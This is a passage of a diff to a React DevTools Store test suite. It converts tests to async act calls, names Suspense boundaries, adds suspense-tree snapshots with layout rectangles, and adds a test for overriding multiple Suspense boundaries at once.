               <Component key="Outside">
-            ▾ <Suspense>
+            ▾ <Suspense name="parent">
                 <Component key="Unrelated at Start">
-              ▾ <Suspense>
+              ▾ <Suspense name="one">
                   <Component key="Suspense 1 Content">
-              ▾ <Suspense>
+              ▾ <Suspense name="two">
                   <Component key="Suspense 2 Content">
-              ▾ <Suspense>
+              ▾ <Suspense name="three">
                   <Loading key="Suspense 3 Fallback">
                 <Component key="Unrelated at End">
+        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}]}
+          <Suspense name="parent" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}]}>
+            <Suspense name="one" uniqueSuspenders={true} rects={null}>
+            <Suspense name="two" uniqueSuspenders={true} rects={null}>
+            <Suspense name="three" uniqueSuspenders={true} rects={null}>
       `);
 
       const rendererID = getRendererID();
-      act(() =>
+      await act(() =>
         agent.overrideSuspense({
           id: store.getElementIDAtIndex(4),
           rendererID,
@@ -618,17 +1051,22 @@ describe('Store', () => {
         [root]
           ▾ <Wrapper>
               <Component key="Outside">
-            ▾ <Suspense>
+            ▾ <Suspense name="parent">
                 <Component key="Unrelated at Start">
-              ▾ <Suspense>
+              ▾ <Suspense name="one">
                   <Loading key="Suspense 1 Fallback">
-              ▾ <Suspense>
+              ▾ <Suspense name="two">
                   <Component key="Suspense 2 Content">
-              ▾ <Suspense>
+              ▾ <Suspense name="three">
                   <Loading key="Suspense 3 Fallback">
                 <Component key="Unrelated at End">
+        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}
+          <Suspense name="parent" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>
+            <Suspense name="one" uniqueSuspenders={true} rects={null}>
+            <Suspense name="two" uniqueSuspenders={true} rects={null}>
+            <Suspense name="three" uniqueSuspenders={true} rects={null}>
       `);
-      act(() =>
+      await act(() =>
         agent.overrideSuspense({
           id: store.getElementIDAtIndex(2),
           rendererID,
@@ -639,10 +1077,15 @@ describe('Store', () => {
         [root]
           ▾ <Wrapper>
               <Component key="Outside">
-            ▾ <Suspense>
+            ▾ <Suspense name="parent">
                 <Loading key="Parent Fallback">
+        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}
+          <Suspense name="parent" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>
+            <Suspense name="one" uniqueSuspenders={true} rects={null}>
+            <Suspense name="two" uniqueSuspenders={true} rects={null}>
+            <Suspense name="three" uniqueSuspenders={true} rects={null}>
       `);
-      act(() =>
+      await act(() =>
         render(
           <Wrapper
             suspendParent={false}
@@ -655,10 +1098,15 @@ describe('Store', () => {
         [root]
           ▾ <Wrapper>
               <Component key="Outside">
-            ▾ <Suspense>
+            ▾ <Suspense name="parent">
                 <Loading key="Parent Fallback">
+        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}
+          <Suspense name="parent" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>
+            <Suspense name="one" uniqueSuspenders={true} rects={null}>
+            <Suspense name="two" uniqueSuspenders={true} rects={null}>
+            <Suspense name="three" uniqueSuspenders={true} rects={null}>
       `);
-      act(() =>
+      await actAsync(() =>
         agent.overrideSuspense({
           id: store.getElementIDAtIndex(2),
           rendererID,
@@ -669,17 +1117,22 @@ describe('Store', () => {
         [root]
           ▾ <Wrapper>
               <Component key="Outside">
-            ▾ <Suspense>
+            ▾ <Suspense name="parent">
                 <Component key="Unrelated at Start">
-              ▾ <Suspense>
+              ▾ <Suspense name="one">
                   <Loading key="Suspense 1 Fallback">
-              ▾ <Suspense>
+              ▾ <Suspense name="two">
                   <Loading key="Suspense 2 Fallback">
-              ▾ <Suspense>
+              ▾ <Suspense name="three">
                   <Loading key="Suspense 3 Fallback">
                 <Component key="Unrelated at End">
+        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}
+          <Suspense name="parent" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>
+            <Suspense name="one" uniqueSuspenders={true} rects={null}>
+            <Suspense name="two" uniqueSuspenders={true} rects={null}>
+            <Suspense name="three" uniqueSuspenders={true} rects={null}>
       `);
-      act(() =>
+      await act(() =>
         agent.overrideSuspense({
           id: store.getElementIDAtIndex(4),
           rendererID,
@@ -690,17 +1143,22 @@ describe('Store', () => {
         [root]
           ▾ <Wrapper>
               <Component key="Outside">
-            ▾ <Suspense>
+            ▾ <Suspense name="parent">
                 <Component key="Unrelated at Start">
-              ▾ <Suspense>
+              ▾ <Suspense name="one">
                   <Loading key="Suspense 1 Fallback">
-              ▾ <Suspense>
+              ▾ <Suspense name="two">
                   <Loading key="Suspense 2 Fallback">
-              ▾ <Suspense>
+              ▾ <Suspense name="three">
                   <Loading key="Suspense 3 Fallback">
                 <Component key="Unrelated at End">
+        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}
+          <Suspense name="parent" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>
+            <Suspense name="one" uniqueSuspenders={true} rects={null}>
+            <Suspense name="two" uniqueSuspenders={true} rects={null}>
+            <Suspense name="three" uniqueSuspenders={true} rects={null}>
       `);
-      act(() =>
+      await act(() =>
         render(
           <Wrapper
             suspendParent={false}
@@ -713,22 +1171,140 @@ describe('Store', () => {
         [root]
           ▾ <Wrapper>
               <Component key="Outside">
-            ▾ <Suspense>
+            ▾ <Suspense name="parent">
                 <Component key="Unrelated at Start">
-              ▾ <Suspense>
+              ▾ <Suspense name="one">
                   <Component key="Suspense 1 Content">
-              ▾ <Suspense>
+              ▾ <Suspense name="two">
                   <Component key="Suspense 2 Content">
-              ▾ <Suspense>
+              ▾ <Suspense name="three">
                   <Loading key="Suspense 3 Fallback">
                 <Component key="Unrelated at End">
+        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}]}
+          <Suspense name="parent" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}]}>
+            <Suspense name="one" uniqueSuspenders={true} rects={null}>
+            <Suspense name="two" uniqueSuspenders={true} rects={null}>
+            <Suspense name="three" uniqueSuspenders={true} rects={null}>
+      `);
+    });
+
+    // @reactVersion >= 18.0
+    it('can override multiple Suspense simultaneously', async () => {
+      const Component = () => {
+        return <div>Hello</div>;
+      };
+      const App = () => (
+        <React.Fragment>
+          <Component key="Outside" />
+          <React.Suspense
+            name="parent"
+            fallback={<Component key="Parent Fallback" />}>
+            <Component key="Unrelated at Start" />
+            <React.Suspense
+              name="one"
+              fallback={<Component key="Suspense 1 Fallback" />}>
+              <Component key="Suspense 1 Content" />
+            </React.Suspense>
+            <React.Suspense
+              name="two"
+              fallback={<Component key="Suspense 2 Fallback" />}>
+              <Component key="Suspense 2 Content" />
+            </React.Suspense>
+            <React.Suspense
+              name="three"
+              fallback={<Component key="Suspense 3 Fallback" />}>
+              <Component key="Suspense 3 Content" />
+            </React.Suspense>
+            <Component key="Unrelated at End" />
+          </React.Suspense>
+        </React.Fragment>
+      );
+
+      await actAsync(() => render(<App />));
+
+      expect(store).toMatchInlineSnapshot(`
+        [root]
+          ▾ <App>
+              <Component key="Outside">
+            ▾ <Suspense name="parent">
+                <Component key="Unrelated at Start">
+              ▾ <Suspense name="one">
+                  <Component key="Suspense 1 Content">
+              ▾ <Suspense name="two">
+                  <Component key="Suspense 2 Content">
+              ▾ <Suspense name="three">
+                  <Component key="Suspense 3 Content">
+                <Component key="Unrelated at End">
+        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}
+          <Suspense name="parent" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}>
+            <Suspense name="one" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>
+            <Suspense name="two" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>
+            <Suspense name="three" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>
+      `);
+
+      await actAsync(() => {
+        agent.overrideSuspenseMilestone({
+          rendererID: getRendererID(),
+          suspendedSet: [
+            store.getElementIDAtIndex(4),
+            store.getElementIDAtIndex(8),
+          ],
+        });
+      });
+
+      expect(store).toMatchInlineSnapshot(`
+        [root]
+          ▾ <App>
+              <Component key="Outside">
+            ▾ <Suspense name="parent">
+                <Component key="Unrelated at Start">
+              ▾ <Suspense name="one">
+                  <Component key="Suspense 1 Fallback">
+              ▾ <Suspense name="two">
+                  <Component key="Suspense 2 Content">
+              ▾ <Suspense name="three">
+                  <Component key="Suspense 3 Fallback">
+                <Component key="Unrelated at End">
+        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}
+          <Suspense name="parent" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}>
+            <Suspense name="one" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>
+            <Suspense name="two" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>
+            <Suspense name="three" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>
+      `);
+
+      await actAsync(() => {
+        agent.overrideSuspenseMilestone({
+          rendererID: getRendererID(),
+          suspendedSet: [],
+        });
+      });
+
+      expect(store).toMatchInlineSnapshot(`
+        [root]
+          ▾ <App>
+              <Component key="Outside">
+            ▾ <Suspense name="parent">
+                <Component key="Unrelated at Start">
+              ▾ <Suspense name="one">
+                  <Component key="Suspense 1 Content">
+              ▾ <Suspense name="two">
+                  <Component key="Suspense 2 Content">
+              ▾ <Suspense name="three">
+                  <Component key="Suspense 3 Content">
+                <Component key="Unrelated at End">
+        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}
+          <Suspense name="parent" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}>
+            <Suspense name="one" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>
+            <Suspense name="two" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>
+            <Suspense name="three" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>
       `);
     });
 
-    it('should display a partially rendered SuspenseList', () => {
+    it('should display a partially rendered SuspenseList', async () => {
       const Loading = () => <div>Loading...</div>;
+      const never = new Promise(() => {});
       const SuspendingComponent = () => {
-        throw new Promise(() => {});
+        readValue(never);
       };
       const Component = () => {
         return <div>Hello</div>;
@@ -747,7 +1323,7 @@ describe('Store', () => {
 
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      act(() => {
+      await act(() => {
         root.render(<Wrapper shouldSuspense={true} />);
       });
       expect(store).toMatchInlineSnapshot(`
@@ -757,9 +1333,11 @@ describe('Store', () => {
                 <Component key="A">
               ▾ <Suspense>
                   <Loading>
+        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:10,height:1}]}
+          <Suspense name="Wrapper" uniqueSuspenders={true} rects={null}>
       `);
 
-      act(() => {
+      await act(() => {
         root.render(<Wrapper shouldSuspense={false} />);
       });
       expect(store).toMatchInlineSnapshot(`
@@ -770,11 +1348,13 @@ describe('Store', () => {
               ▾ <Suspense>
                   <Component key="B">
                 <Component key="C">
+        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}
+          <Suspense name="Wrapper" uniqueSuspenders={true} rects={[{x:1,y:2,width:5,height:1}]}>
       `);
     });
 
     // @reactVersion >= 18.0
-    it('should support collapsing parts of the tree', () => {
+    it('should support collapsing parts of the tree', async () => {
       const Grandparent = ({count}) => (
         <React.Fragment>
           <Parent count={count} />
@@ -785,7 +1365,7 @@ describe('Store', () => {
         new Array(count).fill(true).map((_, index) => <Child key={index} />);
       const Child = () => <div>Hi!</div>;
 
-      act(() => render(<Grandparent count={2} />));
+      await act(() => render(<Grandparent count={2} />));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Grandparent>
@@ -801,7 +1381,7 @@ describe('Store', () => {
       const parentOneID = store.getElementIDAtIndex(1);
       const parentTwoID = store.getElementIDAtIndex(4);
 
-      act(() => store.toggleIsCollapsed(parentOneID, true));
+      await act(() => store.toggleIsCollapsed(parentOneID, true));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Grandparent>
@@ -811,7 +1391,7 @@ describe('Store', () => {
                 <Child key="1">
       `);
 
-      act(() => store.toggleIsCollapsed(parentTwoID, true));
+      await act(() => store.toggleIsCollapsed(parentTwoID, true));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Grandparent>
@@ -819,7 +1399,7 @@ describe('Store', () => {
             ▸ <Parent>
       `);
 
-      act(() => store.toggleIsCollapsed(parentOneID, false));
+      await act(() => store.toggleIsCollapsed(parentOneID, false));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Grandparent>
@@ -829,13 +1409,13 @@ describe('Store', () => {
             ▸ <Parent>
       `);
 
-      act(() => store.toggleIsCollapsed(grandparentID, true));
+      await act(() => store.toggleIsCollapsed(grandparentID, true));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▸ <Grandparent>
       `);
 
-      act(() => store.toggleIsCollapsed(grandparentID, false));
+      await act(() => store.toggleIsCollapsed(grandparentID, false));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Grandparent>
@@ -847,7 +1427,7 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('should support reordering of children', () => {
+    it('should support reordering of children', async () => {
       const Root = ({children}) => children;
       const Component = () => null;
 
@@ -856,7 +1436,7 @@ describe('Store', () => {
       const foo = <Foo key="foo" />;
       const bar = <Bar key="bar" />;
 
-      act(() => render(<Root>{[foo, bar]}</Root>));
+      await act(() => render(<Root>{[foo, bar]}</Root>));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Root>
@@ -867,7 +1447,7 @@ describe('Store', () => {
                 <Component key="1">
       `);
 
-      act(() => render(<Root>{[bar, foo]}</Root>));
+      await act(() => render(<Root>{[bar, foo]}</Root>));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Root>
@@ -878,13 +1458,17 @@ describe('Store', () => {
                 <Component key="0">
       `);
 
-      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(0), true));
+      await act(() =>
+        store.toggleIsCollapsed(store.getElementIDAtIndex(0), true),
+      );
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▸ <Root>
       `);
 
-      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(0), false));
+      await act(() =>
+        store.toggleIsCollapsed(store.getElementIDAtIndex(0), false),
+      );
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Root>
@@ -903,12 +1487,12 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('should support mount and update operations', () => {
+    it('should support mount and update operations', async () => {
       const Parent = ({count}) =>
         new Array(count).fill(true).map((_, index) => <Child key={index} />);
       const Child = () => <div>Hi!</div>;
 
-      act(() =>
+      await act(() =>
         render(
           <React.Fragment>
             <Parent count={1} />
@@ -922,7 +1506,7 @@ describe('Store', () => {
           ▸ <Parent>
       `);
 
-      act(() =>
+      await act(() =>
         render(
           <React.Fragment>
             <Parent count={2} />
@@ -936,14 +1520,14 @@ describe('Store', () => {
           ▸ <Parent>
       `);
 
-      act(() => unmount());
+      await act(() => unmount());
       expect(store).toMatchInlineSnapshot(``);
     });
 
     // @reactVersion >= 18.0
     // @reactVersion < 19
     // @gate !disableLegacyMode
-    it('should support mount and update operations for multiple roots (legacy render)', () => {
+    it('should support mount and update operations for multiple roots (legacy render)', async () => {
       const Parent = ({count}) =>
         new Array(count).fill(true).map((_, index) => <Child key={index} />);
       const Child = () => <div>Hi!</div>;
@@ -951,7 +1535,7 @@ describe('Store', () => {
       const containerA = document.createElement('div');
       const containerB = document.createElement('div');
 
-      act(() => {
+      await act(() => {
         legacyRender(<Parent key="A" count={3} />, containerA);
         legacyRender(<Parent key="B" count={2} />, containerB);
       });
@@ -962,7 +1546,7 @@ describe('Store', () => {
           ▸ <Parent key="B">
       `);
 
-      act(() => {
+      await act(() => {
         legacyRender(<Parent key="A" count={4} />, containerA);
         legacyRender(<Parent key="B" count={1} />, containerB);
       });
@@ -973,18 +1557,18 @@ describe('Store', () => {
           ▸ <Parent key="B">
       `);
 
-      act(() => ReactDOM.unmountComponentAtNode(containerB));
+      await act(() => ReactDOM.unmountComponentAtNode(containerB));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▸ <Parent key="A">
       `);
 
-      act(() => ReactDOM.unmountComponentAtNode(containerA));
+      await act(() => ReactDOM.unmountComponentAtNode(containerA));
       expect(store).toMatchInlineSnapshot(``);
     });
 
     // @reactVersion >= 18.0
-    it('should support mount and update operations for multiple roots (createRoot)', () => {
+    it('should support mount and update operations for multiple roots (createRoot)', async () => {
       const Parent = ({count}) =>
         new Array(count).fill(true).map((_, index) => <Child key={index} />);
       const Child = () => <div>Hi!</div>;
@@ -995,7 +1579,7 @@ describe('Store', () => {
       const rootA = ReactDOMClient.createRoot(containerA);
       const rootB = ReactDOMClient.createRoot(containerB);
 
-      act(() => {
+      await act(() => {
         rootA.render(<Parent key="A" count={3} />);
         rootB.render(<Parent key="B" count={2} />);
       });
@@ -1006,7 +1590,7 @@ describe('Store', () => {
           ▸ <Parent key="B">
       `);
 
-      act(() => {
+      await act(() => {
         rootA.render(<Parent key="A" count={4} />);
         rootB.render(<Parent key="B" count={1} />);
       });
@@ -1017,18 +1601,18 @@ describe('Store', () => {
           ▸ <Parent key="B">
       `);
 
-      act(() => rootB.unmount());
+      await act(() => rootB.unmount());
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▸ <Parent key="A">
       `);
 
-      act(() => rootA.unmount());
+      await act(() => rootA.unmount());
       expect(store).toMatchInlineSnapshot(``);
     });
 
     // @reactVersion >= 18.0
-    it('should filter DOM nodes from the store tree', () => {
+    it('should filter DOM nodes from the store tree', async () => {
       const Grandparent = () => (
         <div>
           <div>
@@ -1044,13 +1628,15 @@ describe('Store', () => {
       );
       const Child = () => <div>Hi!</div>;
 
-      act(() => render(<Grandparent count={4} />));
+      await act(() => render(<Grandparent count={4} />));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▸ <Grandparent>
       `);
 
-      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(0), false));
+      await act(() =>
+        store.toggleIsCollapsed(store.getElementIDAtIndex(0), false),
+      );
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Grandparent>
@@ -1058,7 +1644,9 @@ describe('Store', () => {
             ▸ <Parent>
       `);
 
-      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(1), false));
+      await act(() =>
+        store.toggleIsCollapsed(store.getElementIDAtIndex(1), false),
+      );
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Grandparent>
@@ -1069,10 +1657,11 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('should display Suspense nodes properly in various states', () => {
+    it('should display Suspense nodes properly in various states', async () => {
       const Loading = () => <div>Loading...</div>;
+      const never = new Promise(() => {});
       const SuspendingComponent = () => {
-        throw new Promise(() => {});
+        readValue(never);
       };
       const Component = () => {
         return <div>Hello</div>;
@@ -1090,24 +1679,32 @@ describe('Store', () => {
         </React.Fragment>
       );
 
-      act(() => render(<Wrapper shouldSuspense={true} />));
+      await act(() => render(<Wrapper shouldSuspense={true} />));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▸ <Wrapper>
+        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:10,height:1}]}
+          <Suspense name="Wrapper" uniqueSuspenders={true} rects={null}>
       `);
 
       // This test isn't meaningful unless we expand the suspended tree
-      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(0), false));
-      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(2), false));
+      await act(() =>
+        store.toggleIsCollapsed(store.getElementIDAtIndex(0), false),
+      );
+      await act(() =>
+        store.toggleIsCollapsed(store.getElementIDAtIndex(2), false),
+      );
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Wrapper>
               <Component key="Outside">
             ▾ <Suspense>
                 <Loading>
+        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:10,height:1}]}
+          <Suspense name="Wrapper" uniqueSuspenders={true} rects={null}>
       `);
 
-      act(() => {
+      await act(() => {
         render(<Wrapper shouldSuspense={false} />);
       });
       expect(store).toMatchInlineSnapshot(`
@@ -1116,11 +1713,13 @@ describe('Store', () => {
               <Component key="Outside">
             ▾ <Suspense>
                 <Component key="Inside">
+        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}
+          <Suspense name="Wrapper" uniqueSuspenders={true} rects={[{x:1,y:2,width:5,height:1}]}>
       `);
     });
 
     // @reactVersion >= 18.0
-    it('should support expanding parts of the tree', () => {
+    it('should support expanding parts of the tree', async () => {
       const Grandparent = ({count}) => (
         <React.Fragment>
           <Parent count={count} />
@@ -1131,7 +1730,7 @@ describe('Store', () => {
         new Array(count).fill(true).map((_, index) => <Child key={index} />);
       const Child = () => <div>Hi!</div>;
 
-      act(() => render(<Grandparent count={2} />));
+      await act(() => render(<Grandparent count={2} />));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▸ <Grandparent>
@@ -1139,7 +1738,7 @@ describe('Store', () => {
 
       const grandparentID = store.getElementIDAtIndex(0);
 
-      act(() => store.toggleIsCollapsed(grandparentID, false));
+      await act(() => store.toggleIsCollapsed(grandparentID, false));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Grandparent>
@@ -1150,7 +1749,7 @@ describe('Store', () => {
       const parentOneID = store.getElementIDAtIndex(1);
       const parentTwoID = store.getElementIDAtIndex(2);
 
-      act(() => store.toggleIsCollapsed(parentOneID, false));
+      await act(() => store.toggleIsCollapsed(parentOneID, false));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Grandparent>
@@ -1160,7 +1759,7 @@ describe('Store', () => {
             ▸ <Parent>
       `);
 
-      act(() => store.toggleIsCollapsed(parentTwoID, false));
+      await act(() => store.toggleIsCollapsed(parentTwoID, false));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Grandparent>
@@ -1172,7 +1771,7 @@ describe('Store', () => {
                 <Child key="1">
       `);
 
-      act(() => store.toggleIsCollapsed(parentOneID, true));
+      await act(() => store.toggleIsCollapsed(parentOneID, true));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Grandparent>
@@ -1182,7 +1781,7 @@ describe('Store', () => {
                 <Child key="1">
       `);
 
-      act(() => store.toggleIsCollapsed(parentTwoID, true));
+      await act(() => store.toggleIsCollapsed(parentTwoID, true));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Grandparent>
@@ -1190,7 +1789,7 @@ describe('Store', () => {
             ▸ <Parent>
       `);
 
-      act(() => store.toggleIsCollapsed(grandparentID, true));
+      await act(() => store.toggleIsCollapsed(grandparentID, true));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▸ <Grandparent>
@@ -1198,7 +1797,7 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('should support expanding deep parts of the tree', () => {
+    it('should support expanding deep parts of the tree', async () => {
       const Wrapper = ({forwardedRef}) => (
         <Nested depth={3} forwardedRef={forwardedRef} />
       );
@@ -1211,15 +1810,15 @@ describe('Store', () => {
 
       const ref = React.createRef();
 
-      act(() => render(<Wrapper forwardedRef={ref} />));
+      await act(() => render(<Wrapper forwardedRef={ref} />));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▸ <Wrapper>
       `);
 
-      const deepestedNodeID = agent.getIDForNode(ref.current);
+      const deepestedNodeID = agent.getIDForHostInstance(ref.current).id;
 
-      act(() => store.toggleIsCollapsed(deepestedNodeID, false));
+      await act(() => store.toggleIsCollapsed(deepestedNodeID, false));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Wrapper>
@@ -1231,13 +1830,13 @@ describe('Store', () => {
 
       const rootID = store.getElementIDAtIndex(0);
 
-      act(() => store.toggleIsCollapsed(rootID, true));
+      await act(() => store.toggleIsCollapsed(rootID, true));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▸ <Wrapper>
       `);
 
-      act(() => store.toggleIsCollapsed(rootID, false));
+      await act(() => store.toggleIsCollapsed(rootID, false));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Wrapper>
@@ -1249,14 +1848,14 @@ describe('Store', () => {
 
       const id = store.getElementIDAtIndex(1);
 
-      act(() => store.toggleIsCollapsed(id, true));
+      await act(() => store.toggleIsCollapsed(id, true));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Wrapper>
             ▸ <Nested>
       `);
 
-      act(() => store.toggleIsCollapsed(id, false));
+      await act(() => store.toggleIsCollapsed(id, false));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Wrapper>
@@ -1268,7 +1867,7 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('should support reordering of children', () => {
+    it('should support reordering of children', async () => {
       const Root = ({children}) => children;
       const Component = () => null;
 
@@ -1277,19 +1876,21 @@ describe('Store', () => {
       const foo = <Foo key="foo" />;
       const bar = <Bar key="bar" />;
 
-      act(() => render(<Root>{[foo, bar]}</Root>));
+      await act(() => render(<Root>{[foo, bar]}</Root>));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▸ <Root>
       `);
 
-      act(() => render(<Root>{[bar, foo]}</Root>));
+      await act(() => render(<Root>{[bar, foo]}</Root>));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▸ <Root>
       `);
 
-      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(0), false));
+      await act(() =>
+        store.toggleIsCollapsed(store.getElementIDAtIndex(0), false),
+      );
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Root>
@@ -1297,7 +1898,7 @@ describe('Store', () => {
             ▸ <Foo key="foo">
       `);
 
-      act(() => {
+      await act(() => {
         store.toggleIsCollapsed(store.getElementIDAtIndex(2), false);
         store.toggleIsCollapsed(store.getElementIDAtIndex(1), false);
       });
@@ -1311,7 +1912,9 @@ describe('Store', () => {
                 <Component key="0">
       `);
 
-      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(0), true));
+      await act(() =>
+        store.toggleIsCollapsed(store.getElementIDAtIndex(0), true),
+      );
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▸ <Root>
@@ -1319,7 +1922,7 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('should not add new nodes when suspense is toggled', () => {
+    it('should not add new nodes when suspense is toggled', async () => {
       const SuspenseTree = () => {
         return (
           <React.Suspense fallback={<Fallback>Loading outer</Fallback>}>
@@ -1332,25 +1935,33 @@ describe('Store', () => {
       const Parent = () => <Child />;
       const Child = () => null;
 
-      act(() => render(<SuspenseTree />));
+      await act(() => render(<SuspenseTree />));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▸ <SuspenseTree>
+        [suspense-root]  rects={null}
+          <Suspense name="SuspenseTree" uniqueSuspenders={false} rects={null}>
       `);
 
-      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(0), false));
-      act(() => store.toggleIsCollapsed(store.getElementIDAtIndex(1), false));
+      await act(() =>
+        store.toggleIsCollapsed(store.getElementIDAtIndex(0), false),
+      );
+      await act(() =>
+        store.toggleIsCollapsed(store.getElementIDAtIndex(1), false),
+      );
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <SuspenseTree>
             ▾ <Suspense>
               ▸ <Parent>
+        [suspense-root]  rects={null}
+          <Suspense name="SuspenseTree" uniqueSuspenders={false} rects={null}>
       `);
 
       const rendererID = getRendererID();
       const suspenseID = store.getElementIDAtIndex(1);
 
-      act(() =>
+      await act(() =>
         agent.overrideSuspense({
           id: suspenseID,
           rendererID,
@@ -1362,9 +1973,11 @@ describe('Store', () => {
           ▾ <SuspenseTree>
             ▾ <Suspense>
                 <Fallback>
+        [suspense-root]  rects={null}
+          <Suspense name="SuspenseTree" uniqueSuspenders={false} rects={null}>
       `);
 
-      act(() =>
+      await act(() =>
